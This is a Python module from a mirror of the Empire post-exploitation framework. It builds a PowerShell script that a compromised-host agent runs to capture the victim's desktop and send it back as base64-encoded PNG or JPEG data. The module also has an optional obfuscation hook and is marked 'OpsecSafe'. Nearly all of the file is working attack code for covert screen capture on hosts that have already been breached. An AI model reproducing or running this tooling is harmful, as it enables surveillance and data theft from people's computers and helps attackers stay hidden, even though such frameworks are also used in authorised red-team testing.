mirror of
https://github.com/EmpireProject/Empire
synced 2026-06-08 10:58:16 +00:00
xorrior
120 lines
4.0 KiB
Python
120 lines
4.0 KiB
Python
from lib.common import helpers
|
|
|
|
class Module:
|
|
|
|
def __init__(self, mainMenu, params=[]):
|
|
|
|
self.info = {
|
|
'Name': 'Get-Screenshot',
|
|
|
|
'Author': ['@obscuresec', '@harmj0y'],
|
|
|
|
'Description': ('Takes a screenshot of the current desktop and '
|
|
'returns the output as a .PNG.'),
|
|
|
|
'Background' : False,
|
|
|
|
'OutputExtension' : 'png',
|
|
|
|
'NeedsAdmin' : False,
|
|
|
|
'OpsecSafe' : True,
|
|
|
|
'Language' : 'powershell',
|
|
|
|
'MinLanguageVersion' : '2',
|
|
|
|
'Comments': [
|
|
'https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-TimedScreenshot.ps1'
|
|
]
|
|
}
|
|
|
|
# any options needed by the module, settable during runtime
|
|
self.options = {
|
|
# format:
|
|
# value_name : {description, required, default_value}
|
|
'Agent' : {
|
|
'Description' : 'Agent to run module on.',
|
|
'Required' : True,
|
|
'Value' : ''
|
|
},
|
|
'Ratio' : {
|
|
'Description' : "JPEG Compression ratio: 1 to 100.",
|
|
'Required' : False,
|
|
'Value' : ''
|
|
}
|
|
}
|
|
|
|
# save off a copy of the mainMenu object to access external functionality
|
|
# like listeners/agent handlers/etc.
|
|
self.mainMenu = mainMenu
|
|
|
|
for param in params:
|
|
# parameter format is [Name, Value]
|
|
option, value = param
|
|
if option in self.options:
|
|
self.options[option]['Value'] = value
|
|
|
|
|
|
def generate(self, obfuscate=False, obfuscationCommand=""):
|
|
|
|
script = """
|
|
function Get-Screenshot
|
|
{
|
|
param
|
|
(
|
|
[Parameter(Mandatory = $False)]
|
|
[string]
|
|
$Ratio
|
|
)
|
|
Add-Type -Assembly System.Windows.Forms;
|
|
$ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen;
|
|
$ScreenshotObject = New-Object Drawing.Bitmap $ScreenBounds.Width, $ScreenBounds.Height;
|
|
$DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject);
|
|
$DrawingGraphics.CopyFromScreen( $ScreenBounds.Location, [Drawing.Point]::Empty, $ScreenBounds.Size);
|
|
$DrawingGraphics.Dispose();
|
|
$ms = New-Object System.IO.MemoryStream;
|
|
if ($Ratio) {
|
|
try {
|
|
$iQual = [convert]::ToInt32($Ratio);
|
|
} catch {
|
|
$iQual=80;
|
|
}
|
|
if ($iQual -gt 100){
|
|
$iQual=100;
|
|
} elseif ($iQual -lt 1){
|
|
$iQual=1;
|
|
}
|
|
$encoderParams = New-Object System.Drawing.Imaging.EncoderParameters;
|
|
$encoderParams.Param[0] = New-Object Drawing.Imaging.EncoderParameter ([System.Drawing.Imaging.Encoder]::Quality, $iQual);
|
|
$jpegCodec = [Drawing.Imaging.ImageCodecInfo]::GetImageEncoders() | Where-Object { $_.FormatDescription -eq \"JPEG\" }
|
|
$ScreenshotObject.save($ms, $jpegCodec, $encoderParams);
|
|
} else {
|
|
$ScreenshotObject.save($ms, [Drawing.Imaging.ImageFormat]::Png);
|
|
}
|
|
$ScreenshotObject.Dispose();
|
|
[convert]::ToBase64String($ms.ToArray());
|
|
}
|
|
Get-Screenshot"""
|
|
|
|
if self.options['Ratio']['Value']:
|
|
if self.options['Ratio']['Value']!='0':
|
|
self.info['OutputExtension'] = 'jpg'
|
|
else:
|
|
self.options['Ratio']['Value'] = ''
|
|
self.info['OutputExtension'] = 'png'
|
|
else:
|
|
self.info['OutputExtension'] = 'png'
|
|
|
|
for option,values in self.options.iteritems():
|
|
if option.lower() != "agent":
|
|
if values['Value'] and values['Value'] != '':
|
|
if values['Value'].lower() == "true":
|
|
# if we're just adding a switch
|
|
script += " -" + str(option)
|
|
else:
|
|
script += " -" + str(option) + " " + str(values['Value'])
|
|
if obfuscate:
|
|
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
|
|
return script
|